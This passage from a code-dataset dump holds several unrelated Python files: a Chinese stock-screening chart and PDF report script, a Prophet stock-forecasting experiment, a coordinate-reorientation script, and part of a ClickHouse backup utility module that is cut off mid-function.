xg10=c.css(\"300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"NAME,DIFFERRANGEN\",\"N=-10,TradeDate=\"+date+\",AdjustFlag=1, Ispandas=1\")\n xg20=c.css(\"300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"NAME,DIFFERRANGEN\",\"N=-20,TradeDate=\"+date+\",AdjustFlag=1, Ispandas=1\")\n xg60=c.css(\"300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"NAME,DIFFERRANGEN\",\"N=-60,TradeDate=\"+date+\",AdjustFlag=1, Ispandas=1\")\n xg120=c.css(\"300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"NAME,DIFFERRANGEN\",\"N=-120,TradeDate=\"+date+\",AdjustFlag=1, Ispandas=1\")\n xg250=c.css(\"300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"NAME,DIFFERRANGEN\",\"N=-250,TradeDate=\"+date+\",AdjustFlag=1, Ispandas=1\")\n # 指数走势\n date = datetime.today().strftime(\"%Y-%m-%d\")\n xgxg=c.csd(\" 300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"CLOSE\",\"2005-01-01\",\"\"+date+\"\",\"period=3,adjustflag=3,curtype=1,order=1,market=CNSESH, Ispandas=1\")\n xgxg3=c.csd(\" 300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"CLOSE\",\"2020-01-01\",\"\"+date+\"\",\"period=1,adjustflag=3,curtype=1,order=1,market=CNSESH, Ispandas=1\")\n # 指数估值\n xgpb=c.csd(\" 300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"PBMRQ\",\"2013-01-01\",\"\"+date+\"\",\"DelType=1,period=3,adjustflag=1,curtype=1,order=1,market=CNSESH, Ispandas=1\")\n xgpb3=c.csd(\" 300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"PBMRQ\",\"2020-01-01\",\"\"+date+\"\",\"DelType=1,period=1,adjustflag=1,curtype=1,order=1,market=CNSESH, Ispandas=1\")\n xgpbclose=c.css(\" 300418.SZ,002191.SZ,002815.SZ,000776.SZ\",\"SHORTNAME,PBMRQ\",\"TradeDate=\"+date+\",DelType=1, Ispandas=1\")\n\n\n\n#退出\n data = logoutResult = c.stop()\nexcept Exception as ee:\n print(\"error >>>\",ee)\n traceback.print_exc()\nelse:\n print(\"demo end\")\n\n# 指数走势\n# 变更列名\nxgxg.columns=['指数','日期','收盘价']\nxgxg['指数'] = xgxg['指数'].str.replace('002815.SZ','昆仑万维')\nxgxg['指数'] = xgxg['指数'].str.replace('002191.SZ','劲嘉股份 ')\nxgxg['指数'] = xgxg['指数'].str.replace('002815.SZ','崇达技术 ')\nxgxg['指数'] = xgxg['指数'].str.replace('000776.SZ','广发证券 ')\nfig = px.line(xgxg,x='日期', y='收盘价',color='指数')\nfig.update_layout(xaxis = dict(tickmode='linear',tick0 = 1,dtick = 24,),width=1200,height=600,title={'text': \"指数走势\",'y':0.98,'x':0.5,'xanchor': 'center','yanchor': 'top'},\n title_font_size=35,font_size=15,title_font_color='red',xaxis_tickangle=-45,xaxis_title=None,yaxis_title=None)\nfig.update_yaxes(type='log')\nfig.write_image(r'C:\\xyzy\\1lhjr\\1scrb\\xgxg.png',scale=3)\n\n# 3年指数走势\n# 变更列名\nxgxg3.columns=['指数','日期','收盘价']\nxgxg3['指数'] = xgxg3['指数'].str.replace('002815.SZ','昆仑万维')\nxgxg3['指数'] = xgxg3['指数'].str.replace('002191.SZ','劲嘉股份 ')\nxgxg3['指数'] = xgxg3['指数'].str.replace('002815.SZ','崇达技术 ')\nxgxg3['指数'] = xgxg3['指数'].str.replace('000776.SZ','广发证券 ')\nfig = px.line(xgxg3,x='日期', y='收盘价',color='指数')\nfig.update_layout(xaxis = dict(tickmode='linear',tick0 = 1,dtick = 120,),width=1200,height=600,title={'text': \"3年指数走势\",'y':0.98,'x':0.5,'xanchor': 'center','yanchor': 'top'},\n title_font_size=35,font_size=15,title_font_color='red',xaxis_tickangle=-45,xaxis_title=None,yaxis_title=None)\nfig.update_yaxes(type='log')\nfig.write_image(r'C:\\xyzy\\1lhjr\\1scrb\\xgxg3.png',scale=3)\n\n# 指数估值\n# 分位图10年\n# 变更特定字符\nxgpb['CODES'] = xgpb['CODES'].str.replace('002815.SZ', '昆仑万维')\nxgpb['CODES'] = xgpb['CODES'].str.replace('002191.SZ', '劲嘉股份 ')\nxgpb['CODES'] = xgpb['CODES'].str.replace('002815.SZ', '崇达技术 ')\nxgpb['CODES'] = xgpb['CODES'].str.replace('000776.SZ', '广发证券 ')\n# 保留1位小数\nxgpbclose['PBMRQ'] = xgpbclose['PBMRQ'].apply(lambda x:format(x,'.1f'))\ny0 = xgpbclose.PBMRQ[0]\ny1 = xgpbclose.PBMRQ[1]\ny2 = xgpbclose.PBMRQ[2]\ny3 = xgpbclose.PBMRQ[3]\nfig = px.violin(xgpb,x=\"CODES\",y=\"PBMRQ\",color=\"CODES\",box=True,points='all')\nfig.update_layout(width=1200,height=600,title={'text': \"指数PB分位-10年\",'y':0.98,'x':0.5,'xanchor': 'center','yanchor': 'top'},\n title_font_size=35,font_size=15,title_font_color='red',showlegend=False,xaxis_title=None,yaxis_title=None)\n#fig.update_yaxes(type='log')\nfig.add_annotation(x=0,y=y0,text=\"现值{}\".format(y0),ax=-55,ay=0)\nfig.add_annotation(x=1,y=y1,text=\"现值{}\".format(y1),ax=-55,ay=0)\nfig.add_annotation(x=2,y=y2,text=\"现值{}\".format(y2),ax=-55,ay=0)\nfig.add_annotation(x=3,y=y3,text=\"现值{}\".format(y3),ax=-55,ay=0)\nfig.write_image(r'C:\\xyzy\\1lhjr\\1scrb\\xgPB1.png',scale=3)\n# 走势图10年\nfig = px.line(xgpb,x='DATES', y='PBMRQ', color='CODES')\nfig.update_layout(xaxis = dict(tickmode='linear',tick0 = 1,dtick = 24,),width=1200,height=600,title={'text': \"指数PB走势-10年\",'y':0.98,'x':0.5,'xanchor': 'center','yanchor': 'top'},\n title_font_size=35,font_size=15,title_font_color='red',xaxis_tickangle=-45,xaxis_title=None,yaxis_title=None)\nfig.update_yaxes(type='log')\nfig.write_image(r'C:\\xyzy\\1lhjr\\1scrb\\xgPB2.png',scale=3)\n\n# 分位图3年\n# 变更特定字符\nxgpb3['CODES'] = xgpb3['CODES'].str.replace('002815.SZ', '昆仑万维')\nxgpb3['CODES'] = xgpb3['CODES'].str.replace('002191.SZ', '劲嘉股份 ')\nxgpb3['CODES'] = xgpb3['CODES'].str.replace('002815.SZ', '崇达技术 ')\nxgpb3['CODES'] = xgpb3['CODES'].str.replace('000776.SZ', '广发证券 ')\n\nfig = px.violin(xgpb3,x=\"CODES\",y=\"PBMRQ\",color=\"CODES\",box=True,points='all')\nfig.update_layout(width=1200,height=600,title={'text': \"指数PB分位-3年\",'y':0.98,'x':0.5,'xanchor': 'center','yanchor': 'top'},\n title_font_size=35,font_size=15,title_font_color='red',showlegend=False,xaxis_title=None,yaxis_title=None)\n#fig.update_yaxes(type='log')\nfig.add_annotation(x=0,y=y0,text=\"现值{}\".format(y0),ax=-55,ay=0)\nfig.add_annotation(x=1,y=y1,text=\"现值{}\".format(y1),ax=-55,ay=0)\nfig.add_annotation(x=2,y=y2,text=\"现值{}\".format(y2),ax=-55,ay=0)\nfig.add_annotation(x=3,y=y3,text=\"现值{}\".format(y3),ax=-55,ay=0)\nfig.write_image(r'C:\\xyzy\\1lhjr\\1scrb\\xgPB31.png',scale=3)\n# 走势图3年\nfig = px.line(xgpb3,x='DATES', y='PBMRQ', color='CODES')\nfig.update_layout(xaxis = dict(tickmode='linear',tick0 = 1,dtick = 120,),width=1200,height=600,title={'text': \"指数PB走势-3年\",'y':0.98,'x':0.5,'xanchor': 'center','yanchor': 'top'},\n title_font_size=35,font_size=15,title_font_color='red',xaxis_tickangle=-45,xaxis_title=None,yaxis_title=None)\nfig.update_yaxes(type='log')\nfig.write_image(r'C:\\xyzy\\1lhjr\\1scrb\\xgPB32.png',scale=3)\n\nfrom reportlab.pdfbase import pdfmetrics # 注册字体\nfrom reportlab.pdfbase.ttfonts import TTFont # 字体类\nfrom reportlab.platypus import Table, SimpleDocTemplate, Paragraph, Image # 报告内容相关类\nfrom reportlab.lib.pagesizes import letter # 页面的标志尺寸(8.5*inch, 11*inch)\nfrom reportlab.lib.styles import getSampleStyleSheet # 文本样式\nfrom reportlab.lib import colors # 颜色模块\nfrom reportlab.graphics.charts.barcharts import VerticalBarChart # 图表类\nfrom reportlab.graphics.charts.legends import Legend # 图例类\nfrom reportlab.graphics.shapes import Drawing # 绘图工具\nfrom reportlab.lib.units import cm # 单位:cm\nfrom datetime import timedelta, datetime\nimport time as _time\nimport traceback\nfrom datetime import *\n\n# 注册字体(提前准备好字体文件, 如果同一个文件需要多种字体可以注册多个)\npdfmetrics.registerFont(TTFont('SimSun', 'simsun.ttf'))\n\nclass Graphs:\n \n # 绘制标题\n @staticmethod\n def draw_title(title: str):\n # 获取所有样式表\n style = getSampleStyleSheet()\n # 拿到标题样式\n ct = style['Heading1']\n # 单独设置样式相关属性\n ct.fontName = 'SimSun' # 字体名\n ct.fontSize = 25 # 字体大小\n ct.leading = 30 # 行间距\n ct.textColor = colors.red # 字体颜色\n ct.alignment = 1 # 居中\n ct.bold = True\n # 创建标题对应的段落,并且返回\n return Paragraph(title,ct) \n\n @staticmethod\n def draw_title1(title: str):\n # 获取所有样式表\n style = getSampleStyleSheet()\n # 拿到标题样式\n ct = style['Heading1']\n # 单独设置样式相关属性\n ct.fontName = 'SimSun' # 字体名\n ct.fontSize = 20 # 字体大小\n ct.leading = 30 # 行间距\n ct.textColor = colors.red # 字体颜色\n ct.alignment = 2 # 居中\n ct.bold = True\n # 创建标题对应的段落,并且返回\n return Paragraph(title,ct) \n\n # 绘制小标题\n @staticmethod\n def draw_little_title(title: str):\n # 获取所有样式表\n style = getSampleStyleSheet()\n # 拿到标题样式\n ct = style['Normal']\n # 单独设置样式相关属性\n ct.fontName = 'SimSun' # 字体名\n ct.fontSize = 20 # 字体大小\n ct.leading = 20 # 行间距\n ct.textColor = colors.red # 字体颜色\n # 创建标题对应的段落,并且返回\n return Paragraph(title, ct)\n \n @staticmethod\n def draw_little_title1(title: str):\n # 获取所有样式表\n style = getSampleStyleSheet()\n # 拿到标题样式\n ct = style['Normal']\n # 单独设置样式相关属性\n ct.fontName = 'SimSun' # 字体名\n ct.fontSize = 20 # 字体大小\n ct.leading = 40 # 行间距\n ct.textColor = colors.red # 字体颜色\n # 创建标题对应的段落,并且返回\n return Paragraph(title, ct)\n\n @staticmethod\n def draw_little_title2(title: str):\n # 获取所有样式表\n style = getSampleStyleSheet()\n # 拿到标题样式\n ct = style['Normal']\n # 单独设置样式相关属性\n ct.fontName = 'SimSun' # 字体名\n ct.fontSize = 20 # 字体大小\n ct.leading = 40 # 行间距\n ct.textColor = colors.red # 字体颜色\n ct.alignment = 1 # 居中\n # 创建标题对应的段落,并且返回\n return Paragraph(title, ct)\n\n # 绘制图片\n @staticmethod\n def draw_img(path):\n img = Image(path) # 读取指定路径下的图片\n img.drawWidth = 22*cm # 设置图片的宽度\n img.drawHeight = 10*cm # 设置图片的高度\n return img\n\n @staticmethod\n def draw_img1(path):\n img1 = Image(path) # 读取指定路径下的图片\n img1.drawWidth = 22*cm # 设置图片的宽度\n img1.drawHeight = 11*cm # 设置图片的高度\n return img1\n\n @staticmethod\n def draw_img2(path):\n img2 = Image(path) # 读取指定路径下的图片\n img2.drawWidth = 22*cm # 设置图片的宽度\n img2.drawHeight = 11*cm # 设置图片的高度\n return img2\n\ndate = (datetime.today() + timedelta(days = -0)).strftime(\"%Y-%m-%d\")\n\nif __name__ == '__main__':\n # 创建内容对应的空列表\n content = list()\n\n content.append(Graphs.draw_title('选股'))\n content.append(Graphs.draw_little_title2(date))\n \n\n content.append(Graphs.draw_little_title('1、涨幅'))\n content.append(Graphs.draw_little_title('2、资金'))\n content.append(Graphs.draw_little_title('3、走势'))\n content.append(Graphs.draw_little_title('3、PB'))\n\n \n content.append(Graphs.draw_img2(r'C:\\xyzy\\1lhjr\\1scrb\\xghb.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xg0.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xg5.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xg10.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xg20.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xg60.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xg120.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xg250.png'))\n \n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xgzj0.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xgzj3.png'))\n\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xgxg.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xgxg3.png'))\n\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xgPB1.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xgPB2.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xgPB31.png'))\n content.append(Graphs.draw_img(r'C:\\xyzy\\1lhjr\\1scrb\\xgPB32.png'))\n\n # 生成pdf文件\n doc = SimpleDocTemplate(r'C:\\xyzy\\1lhjr\\1scrb\\xg.pdf', pagesize=letter)\n doc.build(content)","repo_name":"jm123963/lhjr","sub_path":"1scrb/xg.py","file_name":"xg.py","file_ext":"py","file_size_in_byte":17411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"18894611909","text":"\nimport numpy as np\nimport pandas as pd\nfrom os import path\nfrom fbprophet import Prophet\nimport plotly.graph_objects as go\n\nfrom prophet_experiments.utils import suppress_stdout_stderr\n\n\nprediction_period = 14\nworking_days = 5 * prediction_period // 7\n\n\ndata_file_name = 'data/tickers/historical.xlsx'\nif path.exists(data_file_name):\n data = pd.read_excel(data_file_name, index_col=0, header=[0, 1])\n\nTICKERS = set([t[0] for t in data.columns.values])\n\nfor ticker in TICKERS:\n ticker_data = data[ticker]['Close']\n\n if len(ticker_data) < 100:\n print(f'{ticker} has not enough data to make predictions')\n continue\n\n if np.isnan(ticker_data.values[-1]):\n print(f'{ticker} has not data (NaN) to make predictions')\n continue\n\n # Split data to cut last known 30 days and make a prediction for these days\n # to compare prediction and real data for the last period:\n past_data = ticker_data[:-working_days].reset_index()\n last_data = ticker_data[-working_days:].reset_index()\n last_data.rename(columns={'Close': 'y', 'Date': 'ds'}, inplace=True)\n\n model = Prophet(changepoint_prior_scale=0.5)\n model.add_country_holidays(country_name='US')\n\n df = past_data\n df.rename(columns={'Close': 'y', 'Date': 'ds'}, inplace=True)\n\n with suppress_stdout_stderr():\n model.fit(df)\n\n future = model.make_future_dataframe(periods=prediction_period+3)\n # Remove weekends from prediction, because we don't have data for weekends:\n future = future[future['ds'].dt.weekday <= 4]\n forecast = model.predict(future)\n\n last_closed_price = df['y'].values[-1]\n min_predicted_price = forecast['yhat_lower'].values[-1]\n profit = 100 * min_predicted_price / last_closed_price\n print(f'{ticker}, {profit:.1f}%')\n\n trend_up = False\n if forecast['trend'].values[-working_days] * 1.1 < forecast['trend'].values[-1]:\n trend_up = True\n\n # print(profit, trend_up)\n\n if profit > 110:\n # Draw a graph to show the forecast from the last month\n # for ~30 days and real data for the last 30 days\n graph = go.Figure()\n graph.add_scatter(x=df['ds'], y=df['y'],\n name=f'{ticker} Closed price')\n graph.add_scatter(x=forecast['ds'], y=forecast['yhat'], mode='lines',\n name='Forecast price')\n graph.add_scatter(x=last_data['ds'], y=last_data['y'], mode='lines',\n name=f'{ticker} Closed price future fact')\n graph.add_scatter(x=forecast['ds'], y=forecast['yhat_lower'], mode='lines',\n name='Minimium forecasted price')\n graph.add_scatter(x=forecast['ds'], y=forecast['trend'], mode='lines',\n name='Trend')\n\n graph.update_layout(height=1000, width=1500)\n graph.show()\n\n print('* ' * 20)\n print(f'Buy: {ticker}')\n","repo_name":"TimurNurlygayanov/forecasting","sub_path":"prophet_experiments/get_shares.py","file_name":"get_shares.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"44331378343","text":"import os\r\nimport numpy as np\r\nfrom numpy.linalg import norm\r\n\r\nrawdata=np.loadtxt('orientate.in')\r\nrawdata=rawdata.tolist()\r\n\r\nranint=int(np.shape(rawdata)[0]/np.shape(rawdata)[1])\r\nxsum=0;ysum=0;zsum=0\r\nfor i in range(1,ranint+1):\r\n #print(i)\r\n coor=[]\r\n for j in range(1,4+1):\r\n index=4*(i-1)+j\r\n rawdataline=rawdata[index-1]\r\n x=rawdataline[3]\r\n if j!=4:\r\n# print('i,index,j,x:',i,index,j,x)\r\n coor.append(x)\r\n# print(rawdataline)\r\n xsum=xsum+coor[0];ysum=ysum+coor[1];zsum=zsum+coor[2];\r\n# print(i,coor)\r\n# print(xsum,ysum,zsum) \r\n# print('')\r\nxmean,ymean,zmean=xsum/ranint,ysum/ranint,zsum/ranint\r\nprint('xmean,ymean,zmean',xmean,ymean,zmean)\r\n\r\n\r\n#### remove existing 'orientate.out' and open append a new one \r\ntry:\r\n os.remove('orientate.out')\r\nexcept:\r\n zero=0\r\nf = open('orientate.out', 'a')\r\n#### end remove existing 'orientate.out' and open append a new one \r\n\r\n\r\n\r\n### shift all coordinates \r\nxsum=0;ysum=0;zsum=0\r\nxpi=[];ypi=[];zpi=[];ri=[];\r\nfor i in range(1,ranint+1):\r\n# coor=[]\r\n for j in range(1,4+1):\r\n index=4*(i-1)+j\r\n rawdataline=rawdata[index-1]\r\n x=rawdataline[3]\r\n if j!=4:\r\n if j==1:\r\n# coor.append(x-xmean)\r\n xp=x-xmean\r\n xpi.append(xp)\r\n print('i,index,j,x,xp:',i,index,j,x,xp)\r\n #f.write((\"%5d %5d %5d %10.3f \\n\" % (i,index, j, xp)))\r\n if j==2:\r\n# coor.append(x-ymean)\r\n yp=x-ymean\r\n ypi.append(yp)\r\n print('i,index,j,y,yp:',i,index,j,x,yp)\r\n #f.write((\"%5d %5d %5d %10.3f \\n\" % (i,index, j, yp)))\r\n if j==3:\r\n# coor.append(x-zmean)\r\n zp=x-zmean\r\n zpi.append(zp)\r\n print('i,index,j,z,zp:',i,index,j,x,zp)\r\n #f.write((\"%5d %5d %5d %10.3f \\n\" % (i,index, j, zp)))\r\n if j==4:\r\n print('i,index,j,radius:',i,index,j,x)\r\n ri.append(x)\r\n #f.write((\"%5d %5d %5d %10.3f \\n\" % (i,index, j, x)))\r\n \r\n# print('i,xp,yp,zp:',i,coor[0],coor[1],coor[2])\r\n# print('i,xp,yp,zp:',i,xp,yp,zp)\r\n #print('')\r\n# print(rawdataline)\r\n #xsum=xsum+coor[0];ysum=ysum+coor[1];zsum=zsum+coor[2];\r\n xsum=xsum+xp;ysum=ysum+yp;zsum=zsum+zp;\r\n #print(\"$$\",i,coor)\r\n print(\"xsum,ysum,zsum\",xsum,ysum,zsum)\r\n# print('xmean,ymean,zmean:',xmean,ymean,zmean) \r\n print('')\r\nxmean,ymean,zmean=xsum/ranint,ysum/ranint,zsum/ranint\r\nprint('all coordinates have been shifted wrp to the centroid')\r\nprint('xmean,ymean,zmean',round(xmean),round(ymean),round(zmean))\r\nprint('')\r\n### shift all coordinates \r\n\r\n#### constract new coordinate axes using xpi,ypi,zpi,ri \r\n\r\nlenri=len(ri)\r\nlistrsqri=[ [ np.square(xpi[i]) + np.square(ypi[i]) + np.square(zpi[i]), ri[i] ] for i in range(len(ri)) ]\r\nslistrsqri=sorted(listrsqri, key=lambda x: x[0])\r\nmaxrsq=slistrsqri[-1][0]\r\nmaxrsqindex=[ listrsqri.index(x) for x in sorted(listrsqri) ][-1]\r\nallpoints=[ [ xpi[i], ypi[i], zpi[i] ] for i in range(len(xpi)) ]\r\n#print(listrsqri[maxrsqindex],maxrsq)\r\n\r\n### derive xcappp #############\r\naxpp=allpoints[maxrsqindex]\r\n#print('axpp',axpp)\r\nnormaxpp=norm(axpp)\r\nxcappp=axpp/normaxpp\r\nxcappp=xcappp.tolist()\r\nprint('xcappp',xcappp)\r\nprint('norm(xcappp)',norm(xcappp))\r\n### derive xcappp #############\r\n\r\n### derive ycappp #############\r\ndrop2xcappp=[ np.square(norm([ xpi[i], ypi[i], zpi[i] ]))-np.square(np.dot(xcappp,[ xpi[i], ypi[i], zpi[i] ])) for i in range(len(xpi)) ]\r\nsdrop2xcappp=np.sort(drop2xcappp)\r\nmaxdrop2xcappp=sdrop2xcappp[-1]\r\nmaxdrop2xcapppindex=[ drop2xcappp.index(x) for x in sdrop2xcappp ][-1]\r\nPy=allpoints[maxdrop2xcapppindex]\r\nPydrop2xcappp=np.dot(Py,xcappp)\r\naypp=np.array(Py)-np.array(Pydrop2xcappp*np.array(xcappp))\r\nnormaypp=norm(aypp)\r\nycappp=aypp/normaypp\r\nycappp=ycappp.tolist()\r\nprint('ycappp',ycappp)\r\nprint('norm(ycappp)',norm(ycappp))\r\n### end derive ycappp #############\r\n\r\n### derive zcappp #############\r\nzcappp=np.cross(xcappp,ycappp)\r\nprint('zcappp',zcappp)\r\nprint('norm(zcappp)',norm(zcappp))\r\n### end derive zcappp #############\r\n\r\n#### project all points onto xcappp,ycappp, zcappp, hence transforming all\r\n#### points into the cappp coordinate\r\nallpointspp=[ [ np.dot(allpoints[i],xcappp),np.dot(allpoints[i],ycappp), np.dot(allpoints[i],zcappp),ri[i] ] for i in range(len(allpoints))]\r\n\r\n\r\n### assigning x and write to orientate.out\r\n#for i in range(1,ranint+1):\r\nfor i in range(1,ranint+1):\r\n xyz=allpointspp[i-1]\r\n print('xyz',xyz)\r\n for j in range(1,4+1):\r\n index=4*(i-1)+j\r\n x=xyz[j-1]\r\n \r\n if j==1:\r\n print('i,index,j,xpp:',i,index,j,x)\r\n f.write((\"%5d %5d %5d %10.3f \\n\" % (i,index, j, x)))\r\n if j==2:\r\n print('i,index,j,ypp:',i,index,j,x)\r\n f.write((\"%5d %5d %5d %10.3f \\n\" % (i,index, j, x)))\r\n if j==3:\r\n print('i,index,j,zpp:',i,index,j,x)\r\n f.write((\"%5d %5d %5d %10.3f \\n\" % (i,index, j, x)))\r\n if j==4:\r\n print('i,index,j,radius:',i,index,j,x)\r\n f.write((\"%5d %5d %5d %10.3f \\n\" % (i,index, j, x)))\r\n \r\n print('')\r\n### end of assigning x and write to orientate.out\r\n\r\n### close 'orientate.out' \r\nf.close()\r\n### end close 'orientate.out' \r\n\r\n#### end of constract new coordinate axes using xpi,ypi,zpi,ri \r\n","repo_name":"tlyoon/Data-Generation-for-NNGMM","sub_path":"orientate.py","file_name":"orientate.py","file_ext":"py","file_size_in_byte":5442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"26237768415","text":"\"\"\"\nutil module defines various auxiliary functions\n\"\"\"\nimport collections\nimport glob\nimport grp\nimport os\nimport pwd\nimport re\nimport shutil\nimport string\nimport time\nfrom dataclasses import fields as data_fields\nfrom datetime import datetime, timedelta, timezone\nfrom functools import partial\nfrom inspect import currentframe\nfrom itertools import islice\nfrom typing import (\n BinaryIO,\n Callable,\n Iterable,\n Iterator,\n List,\n Tuple,\n Type,\n TypeVar,\n Union,\n)\n\nimport humanfriendly\nimport tenacity\n\nfrom ch_backup import logging\nfrom ch_backup.exceptions import ClickhouseBackupError\n\nT = TypeVar(\"T\")\n\nLOCAL_TZ = timezone(\n timedelta(seconds=-1 * (time.altzone if time.daylight else time.timezone))\n)\n_ALLOWED_NAME_CHARS = set([\"_\"] + list(string.ascii_letters) + list(string.digits))\n_HEX_UPPERCASE_TABLE = [\n \"0\",\n \"1\",\n \"2\",\n \"3\",\n \"4\",\n \"5\",\n \"6\",\n \"7\",\n \"8\",\n \"9\",\n \"A\",\n \"B\",\n \"C\",\n \"D\",\n \"E\",\n \"F\",\n]\n\n\ndef chown_dir_contents(\n user: str, group: str, dir_path: str, need_recursion: bool = False\n) -> None:\n \"\"\"\n Recursively change directory user/group\n \"\"\"\n if need_recursion:\n for path, dirs, files in os.walk(dir_path):\n for directory in dirs:\n shutil.chown(os.path.join(path, directory), user, group)\n for file in files:\n shutil.chown(os.path.join(path, file), user, group)\n else:\n for path in os.listdir(dir_path):\n shutil.chown(os.path.join(dir_path, path), user, group)\n\n\ndef list_dir_files(dir_path: str) -> List[str]:\n \"\"\"\n Returns paths of all files of directory (recursively), relative to its path\n \"\"\"\n return [\n file[len(dir_path) + 1 :]\n for file in filter(os.path.isfile, glob.iglob(dir_path + \"/**\", recursive=True))\n ]\n\n\ndef setup_environment(config: dict) -> None:\n \"\"\"\n Set environment variables\n \"\"\"\n try:\n env_value = \":\".join(config[\"ca_bundle\"])\n os.environ[\"REQUESTS_CA_BUNDLE\"] = env_value\n except KeyError:\n pass\n\n\ndef demote_group(new_group: str) -> None:\n \"\"\"\n Perform group change\n \"\"\"\n new_gid = grp.getgrnam(new_group).gr_gid\n os.setgid(new_gid)\n\n\ndef demote_user(new_user: str) -> None:\n \"\"\"\n Perform user change\n \"\"\"\n new_uid = pwd.getpwnam(new_user).pw_uid\n os.setuid(new_uid)\n\n\ndef escape(s: str) -> str:\n \"\"\"\n Escaping special character '`'\n \"\"\"\n return r\"\\`\".join(s.split(\"`\"))\n\n\ndef demote_user_group(new_user: str, new_group: str) -> None:\n \"\"\"\n Perform user and group change\n \"\"\"\n demote_group(new_group)\n demote_user(new_user)\n\n\ndef drop_privileges(config: dict) -> bool:\n \"\"\"\n Demote user/group if needed\n \"\"\"\n\n try:\n if config[\"drop_privileges\"]:\n demote_user_group(config[\"user\"], config[\"group\"])\n return True\n except KeyError:\n pass\n\n return False\n\n\ndef strip_query(query_text: str) -> str:\n \"\"\"\n Remove query without newlines and duplicate whitespaces.\n \"\"\"\n return re.sub(r\"\\s{2,}\", \" \", query_text.replace(\"\\n\", \" \")).strip()\n\n\ndef now() -> datetime:\n \"\"\"\n Return local datetime with timezone information.\n \"\"\"\n return datetime.now(LOCAL_TZ)\n\n\ndef utcnow() -> datetime:\n \"\"\"\n Return UTC datetime with timezone information.\n \"\"\"\n return datetime.now(timezone.utc)\n\n\ndef wait_for(\n func: Callable[[], bool],\n timeout_s: float,\n interval_s: float = 1.0,\n on_wait_begin: Callable = None,\n on_wait_end: Callable = None,\n on_interval_begin: Callable = None,\n on_interval_end: Callable = None,\n) -> None:\n \"\"\"\n Waits for function to return True in time.\n \"\"\"\n if on_wait_begin is not None:\n on_wait_begin()\n\n time_left = timeout_s\n while time_left > 0 and func():\n if on_interval_begin is not None:\n on_interval_begin()\n\n time.sleep(interval_s)\n time_left -= interval_s\n\n if on_interval_end is not None:\n on_interval_end()\n\n if on_wait_end is not None:\n on_wait_end()\n\n\ndef retry(\n exception_types: Union[type, tuple] = Exception,\n max_attempts: int = 5,\n max_interval: float = 5,\n retry_if: tenacity.retry_base = tenacity.retry_always,\n) -> Callable:\n \"\"\"\n Function decorator that retries wrapped function on failures.\n \"\"\"\n\n def _log_retry(retry_state):\n logging.debug(\n \"Retrying {}.{} in {}, attempt: {}, reason: {}\",\n retry_state.fn.__module__,\n retry_state.fn.__qualname__,\n retry_state.next_action.sleep,\n retry_state.attempt_number,\n retry_state.outcome.exception(),\n )\n\n return tenacity.retry(\n retry=tenacity.retry_all(\n tenacity.retry_if_exception_type(exception_types), retry_if\n ),\n wait=tenacity.wait_random_exponential(multiplier=0.5, max=max_interval),\n stop=tenacity.stop_after_attempt(max_attempts),\n reraise=True,\n before_sleep=_log_retry,\n )\n\n\ndef get_table_zookeeper_paths(tables: Iterable) -> Iterable[Tuple]:\n \"\"\"\n Parse ZooKeeper path from create statement.\n \"\"\"\n result = []\n for table in tables:\n match = re.search(\n R\"\"\"Replicated\\S{0,20}MergeTree\\(\\'(?P[^']+)\\',\"\"\",\n table.create_statement,\n )\n if not match:\n raise ClickhouseBackupError(\n f\"Couldn't parse create statement for zk path: {table}\"\n )\n result.append((table, match.group(\"zk_path\")))\n return result\n\n\ndef get_database_zookeeper_paths(databases: Iterable[str]) -> Iterable[str]:\n \"\"\"\n Parse ZooKeeper path from create statement.\n \"\"\"\n result = []\n for db_sql in databases:\n match = re.search(\n R\"\"\"Replicated\\(\\'(?P[^']+)\\', '(?P[^']+)', '(?P[^']+)'\"\"\",\n db_sql,\n )\n if not match:\n continue\n result.append(\n f'{match.group(\"zk_path\")}/replicas/{match.group(\"shard\")}|{match.group(\"replica\")}'\n )\n return result\n\n\ndef compare_schema(schema_a: str, schema_b: str) -> bool:\n \"\"\"\n Normalize table schema for comparison.\n `... ENGINE = Distributed('aaa', bbb, ccc, xxx) ...` may be in ver. before 19.16, 20.1\n `... ENGINE = Distributed('aaa', 'bbb', 'ccc', xxx) ...` in ver. 19.16+, 20.1+\n\n Also\n `ATTACH TABLE `db`.`table` UUID '...' ...` from file schema, multiline\n `CREATE TABLE db.table ` from sql request, single line\n \"\"\"\n\n def _normalize(schema: str) -> str:\n res = re.sub(\n r\"ENGINE = Distributed\\('([^']+)', ('?)(\\w+)\\2, ('?)(\\w+)\\4(, .*)?\\)\",\n r\"ENGINE = Distributed('\\1', '\\3', '\\5'\\6)\",\n schema,\n ).lower()\n res = re.sub(\n r\"^attach 